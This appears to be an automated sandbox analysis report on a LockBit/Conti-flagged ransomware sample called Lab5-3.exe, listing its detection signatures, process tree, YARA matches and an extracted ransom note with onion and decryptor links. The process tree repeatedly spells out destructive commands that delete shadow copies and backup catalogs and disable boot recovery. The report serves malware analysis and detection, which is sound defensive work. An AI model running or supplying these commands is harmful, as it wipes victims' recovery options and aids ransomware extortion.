Edit tour

Windows Analysis Report
Lab5-3.exe

Overview

General Information

Sample name:	Lab5-3.exe
Analysis ID:	1432380
MD5:	69bec32d50744293e85606a5e8f80425
SHA1:	101b90ac7e0c2a8b570686c13dfa0e161ddd00e0
SHA256:	95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf
Infos:

Detection

Chaos, Conti, LockBit ransomware, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Delete shadow copy via WMIC

Yara detected Chaos Ransomware

Yara detected Conti ransomware

Yara detected LockBit ransomware

Yara detected RansomwareGeneric

Yara detected TrojanRansom

Yara detected UAC Bypass using CMSTP

Connects to many different private IPs (likely to spread or exploit)

Connects to many different private IPs via SMB (likely to spread or exploit)

Contains functionalty to change the wallpaper

Creates files inside the volume driver (system volume information)

Deletes shadow drive data (may be related to ransomware)

Deletes the backup plan of Windows

Found Tor onion address

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Machine Learning detection for sample

May disable shadow drive data (uses vssadmin)

Modifies existing user documents (likely ransomware behavior)

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Spreads via windows shares (copies files to share folders)

Uses bcdedit to modify the Windows boot settings

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to query CPU information (cpuid)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious desktop.ini Action

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

Lab5-3.exe (PID: 7476 cmdline: "C:\Users\user\Desktop\Lab5-3.exe" MD5: 69BEC32D50744293E85606A5E8F80425)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7632 cmdline: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 8808 cmdline: vssadmin delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

WMIC.exe (PID: 9856 cmdline: wmic shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

bcdedit.exe (PID: 10060 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

bcdedit.exe (PID: 10076 cmdline: bcdedit /set {default} recoveryenabled no MD5: 74F7B84B0A547592CA63A00A8C4AD583)

wbadmin.exe (PID: 10092 cmdline: wbadmin delete catalog -quiet MD5: F2AA55885A2C014DA99F1355F3F71E4A)

chrome.exe (PID: 8952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 9188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1996,i,10208007017991637576,12589176499533245041,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

wbengine.exe (PID: 10124 cmdline: "C:\Windows\system32\wbengine.exe" MD5: 17270A354A66590953C4AAC1CF54E507)

vdsldr.exe (PID: 10168 cmdline: C:\Windows\System32\vdsldr.exe -Embedding MD5: 472A05A6ADC167E9E5D2328AD98E3067)

vds.exe (PID: 10208 cmdline: C:\Windows\System32\vds.exe MD5: 0781CE7ECCD9F6318BA72CD96B5B8992)

Lab5-3.exe (PID: 9836 cmdline: "C:\Users\user\Desktop\Lab5-3.exe" MD5: 69BEC32D50744293E85606A5E8F80425)

conhost.exe (PID: 9728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Lab5-3.exe (PID: 9756 cmdline: "C:\Users\user\Desktop\Lab5-3.exe" MD5: 69BEC32D50744293E85606A5E8F80425)

conhost.exe (PID: 9380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 11060 cmdline: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 11108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 11168 cmdline: vssadmin delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

WMIC.exe (PID: 10180 cmdline: wmic shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

bcdedit.exe (PID: 9556 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

bcdedit.exe (PID: 11804 cmdline: bcdedit /set {default} recoveryenabled no MD5: 74F7B84B0A547592CA63A00A8C4AD583)

wbadmin.exe (PID: 11920 cmdline: wbadmin delete catalog -quiet MD5: F2AA55885A2C014DA99F1355F3F71E4A)

cmd.exe (PID: 12008 cmdline: /c vssadmin Delete Shadows /All /Quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 12016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 12056 cmdline: vssadmin Delete Shadows /All /Quiet MD5: B58073DB8892B67A672906C9358020EC)

cmd.exe (PID: 12092 cmdline: /c bcdedit /set {default} recoveryenabled No MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 12132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 12148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 12192 cmdline: bcdedit /set {default} recoveryenabled No MD5: 74F7B84B0A547592CA63A00A8C4AD583)

cmd.exe (PID: 12180 cmdline: /c bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 11172 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

cmd.exe (PID: 7720 cmdline: /c wbadmin DELETE SYSTEMSTATEBACKUP MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 12232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 10008 cmdline: /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Lab5-3.exe (PID: 10188 cmdline: "C:\Users\user\Desktop\Lab5-3.exe" MD5: 69BEC32D50744293E85606A5E8F80425)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Lab5-3.exe (PID: 11204 cmdline: "C:\Users\user\Desktop\Lab5-3.exe" MD5: 69BEC32D50744293E85606A5E8F80425)

conhost.exe (PID: 9464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 11816 cmdline: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 11840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 11896 cmdline: vssadmin delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

Conhost.exe (PID: 9816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 12084 cmdline: wmic shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

bcdedit.exe (PID: 12224 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

bcdedit.exe (PID: 4048 cmdline: bcdedit /set {default} recoveryenabled no MD5: 74F7B84B0A547592CA63A00A8C4AD583)

wbadmin.exe (PID: 11992 cmdline: wbadmin delete catalog -quiet MD5: F2AA55885A2C014DA99F1355F3F71E4A)

cmd.exe (PID: 12116 cmdline: /c vssadmin Delete Shadows /All /Quiet MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 12216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 12268 cmdline: vssadmin Delete Shadows /All /Quiet MD5: B58073DB8892B67A672906C9358020EC)

cmd.exe (PID: 8964 cmdline: /c bcdedit /set {default} recoveryenabled No MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 11796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 11748 cmdline: bcdedit /set {default} recoveryenabled No MD5: 74F7B84B0A547592CA63A00A8C4AD583)

Conhost.exe (PID: 4336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 11808 cmdline: /c bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 11852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 5548 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

cmd.exe (PID: 11788 cmdline: /c wbadmin DELETE SYSTEMSTATEBACKUP MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wbadmin.exe (PID: 5024 cmdline: wbadmin DELETE SYSTEMSTATEBACKUP MD5: F2AA55885A2C014DA99F1355F3F71E4A)

cmd.exe (PID: 10172 cmdline: /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 11944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wbadmin.exe (PID: 12072 cmdline: wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest MD5: F2AA55885A2C014DA99F1355F3F71E4A)

cmd.exe (PID: 11140 cmdline: /c wmic SHADOWCOPY /nointeractive MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 12080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 12212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Chaos	In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a "Ryuk .Net Ransomware Builder" even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.	No Attribution	https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging https://blog.talosintelligence.com/new-threat-actor-using-yashma-ransomware/ https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/ https://labs.k7computing.com/index.php/ransomed-by-warlock-dark-army-officials/	https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos

Name	Description	Attribution	Blogpost URLs	Link
Conti, Conti Lock	Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.	No Attribution	http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/ https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74 https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/	https://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Malware Configuration

Threatname: Lockbit

{"URL": "http://lockbitks2tvnmwk.onion", "Ransom Note": "All your important files are encrypted!\r\nAny attempts to restore your files with the thrid-party software will be fatal for your files!\r\nRESTORE YOU DATA POSIBLE ONLY BUYING private key from us.\r\nThere is only one way to get your files back:\r\n\r\n1) Through a standard browser(FireFox, Chrome, Edge, Opera)\r\n| 1. Open link http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50\r\n| 2. Follow the instructions on this page\r\n\r\n\r\n2) Through a Tor Browser - recommended\r\n| 1. Download Tor browser - https://www.torproject.org/ and install it.\r\n| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50\r\n\t This link only works in Tor Browser! \r\n| 3. Follow the instructions on this page\r\n\r\n\r\n ###  Attention! ###\r\n # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site\r\n # Do not rename encrypted files.\r\n # Do not try to decrypt using third party software, it may cause permanent data loss.\r\n # Decryption of your files with the help of third parties may cause increased price(they add their fee to our).\r\n # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN.\r\n # Tor Browser user manual https://tb-manual.torproject.org/about"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Lab5-3.exe	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Lab5-3.exe	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Lab5-3.exe	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
Lab5-3.exe	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService

Memory Dumps

Source	Rule	Description	Author
00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 7476	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Lab5-3.exe PID: 7476	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 7476	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 9836	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Lab5-3.exe PID: 9836	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 9836	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 9756	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Lab5-3.exe PID: 9756	JoeSecurity_Conti_ransomware	Yara detected Conti ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 9756	JoeSecurity_Chaos	Yara detected Chaos Ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 9756	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 9756	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 10188	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Lab5-3.exe PID: 10188	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 10188	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 11204	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Lab5-3.exe PID: 11204	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
Process Memory Space: Lab5-3.exe PID: 11204	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Lab5-3.exe PID: 11204	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
0.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
0.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
34.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
34.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
27.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
27.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
27.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
27.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
40.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
40.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
40.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
40.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
40.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
40.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
40.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
40.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
34.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
34.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
34.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
19.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
19.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
19.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
19.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
27.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
27.0.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
